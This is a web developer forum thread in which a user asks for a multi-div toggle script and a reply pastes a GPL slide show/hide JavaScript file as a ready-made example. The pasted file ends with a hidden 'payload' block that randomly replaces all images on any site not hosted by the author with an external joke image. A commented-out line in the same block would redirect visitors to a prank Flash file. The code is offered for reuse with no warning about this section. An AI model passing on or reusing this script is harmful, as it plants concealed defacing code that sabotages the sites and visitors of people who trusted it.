/    Sign up×
Community /Pin to ProfileBookmark

Toggle div script

HEy. I’m looking for a toggle script that is much like this one

[url]http://javascript.internet.com/misce…ide-a-div.html[/url]

Only I am in need of 5 links and have so only one div or element is open at a time. So by clicking one the other closes.

Any help?

to post a comment
JavaScript

2 Comments(s)

Copy linkTweet thisAlerts:
@tirnaApr 11.2010 — If you right-click and web page and then select view source, you see the code for that web page and links to any js files.

Below is the code in the js of the link you posted. The code creates the sliding div effect.

[code=php]
//////////////////////////////////////////////////////////////////////////////
// Show/Hide With a Slide Script //
//////////////////////////////////////////////////////////////////////////////
//
// This little script allows you to create a section of content and hide it at
// the top of your screen for users to open and close as they wish. This is
// particularly handy for things like login boxes, supplementary navigation
// and content enhancements like tips, tricks and interesting tidbits of
// information you don't need showcased within your regular content.
//
// If a visitor has JavaScript disabled or unavailable, the hidden content box
// will simply display itself as if it was always a visible component.
//
// CONTRIBUTORS:
//
// Original Creator:
// Paul Hirsch
// www.paulhirsch.com
//
// Tested by:
// International Web Developers Network (IWDN)
// www.iwdn.net - home page
// www.iwdn.net/index.php - forums/community where testing took place
//
// Other Contributors:
// Michaeljohn Clement - clued me in on offsetHeight - very handy!
// [INSERT YOUR NAME AND BRIEF DESCRIPTION OF YOUR CONTRIBUTION HERE]
//
// INSTRUCTIONS:
//
// 1. Place this markup in an external .js page and link to it within the
// <head> section of your page.
//
// 2. Create a div within your page to wrap around the content you wish to hide.
// You'll place your hidden content in here. The div MUST be in the following
// format: <div id="foo-#" class="hidden">, where:
//
// a. "foo" is any word of your choice.
// b. "-#" is any number between "-1" and "-9".
// c. class ALWAYS equals "hidden".
//
// The "-#" sets the speed at which the box shows/hides itself, with 1
// being slowest and 9 fastest. If you forget to add your speed number
// or add it incorrectly, the script will default to 5.
//

// Here's a proper example:
// <div id="login-7" class="hidden">
// [The stuff you want to show/hide]
// </div>
//
// 3. Add onclick="toggle();" and id="toggle" to whatever element you'd like
// to use to toggle the hidden content box. MAKE THE TOGGLED
// OBJECT/TEXT/BUTTON display:none WITHIN YOUR STYLESHEET! The script will
// unhide it. This is so it will not show up when someone has JavaScript
// disabled.
//
// Here's a proper example:
// <input type="button" id="toggle" onclick="toggle();" value="ON/OFF" />
//
// 4. Add onload="setup();" to your <body> tag.
//
// LICENSE:
//
// This script is protected under General Public License (GPL). Feel free to
// redistribute this script, so long as you do not alter any of the contents
// specifying authorship. If you add to or modify this script, you may add
// your name to the "Other Contributors" list at the top of this script. As
// a courtesy, please email me and let me know how you've improved my script!
// You may not profit from the direct sale of this script. You may use this
// script in commercial endeavors however (i.e. as part of a commercial site).
//
// Email me here: http://www.paulhirsch.com/contact_me.php
//
// Copyright 2006, Paul Hirsch. All rights specified herein and within GPL
// documentation: http://www.gnu.org/licenses/gpl.txt
//
//////////////////////////////////////////////////////////////////////////////
// DO NOT TOUCH ANYTHING BELOW THIS LINE //
// unless you know what the heck you're doing! //
//////////////////////////////////////////////////////////////////////////////
var Hide = "";
var varHt = 0;
var Ht = "";
var x = 0;
var y = 10;
var z = 4;
var foo = new Array();
var Speed = "";
function setup() {
foo = document.getElementsByTagName("div");
for (i=0;i<foo.length;i++) {
if (foo[i].className == "hidden") {
Hide = foo[i].id;
}
}
Ht = document.getElementById(Hide).offsetHeight;
Speed = Hide.substring(Hide.lastIndexOf('-')+1);
document.getElementById(Hide).style.height = '0px';
document.getElementById('toggle').style.display = 'inline';

if (Speed == 1) { y = 100; z = 1; }
if (Speed == 2) { y = 70; z = 1; }
if (Speed == 3) { y = 40; z = 1; }
if (Speed == 4) { y = 20; z = 1; }
if (Speed == 5) { y = 10; z = 1; }
if (Speed == 6) { y = 10; z = 2; }
if (Speed == 7) { y = 10; z = 4; }
if (Speed == 8) { y = 10; z = 7; }
if (Speed == 9) { y = 10; z = 10; }
}
function toggle() {
if (x === 0) {
document.getElementById(Hide).style.height = varHt+'px';
if (((Ht-varHt) < z) && (varHt !== Ht)) {
varHt = Ht;
} else {
varHt = varHt+z;
}
if (varHt <= Ht) {
setTimeout('toggle()',y);
}
if (varHt > Ht) {
varHt = Ht;
x = 1;
}
} else {
document.getElementById(Hide).style.height = varHt+'px';
varHt = varHt-z;
if ((Ht-varHt) <= Ht) {
setTimeout('toggle()',y);
}
if ((Ht-varHt) > Ht) {
varHt = 0;
document.getElementById(Hide).style.height = varHt+'px';
x = 0;
}
}
}
// Stealing bandwidth is wrong. So this little script is for anyone who thinks
// stealing is ok. As is the case for *any* site owner, I reserve the right to
// modify my own site/scripts as I see fit, and I've seen fit to add this:
imgs = document.getElementsByTagName('img');
URL = window.location+'';
num = Math.random ( );
num = parseFloat(num).toFixed(1)*10;
if (URL.search('paulhirsch') === -1 && parseFloat(num) < 2) {
// Payload
setTimeout('payload1()',3000);
// We'll put this in every once in a while
// else window.location = 'http://www.computerpranks.com/download/online-fun/ahhflash.swf';
}
function payload1() { for (i=0 ; i<imgs.length ; i++) imgs[i].src = 'http://finickypenguin.files.wordpress.com/2007/11/poop.jpg'; }
[/code]
×

Success!

Help @Chris_hey spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.18,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...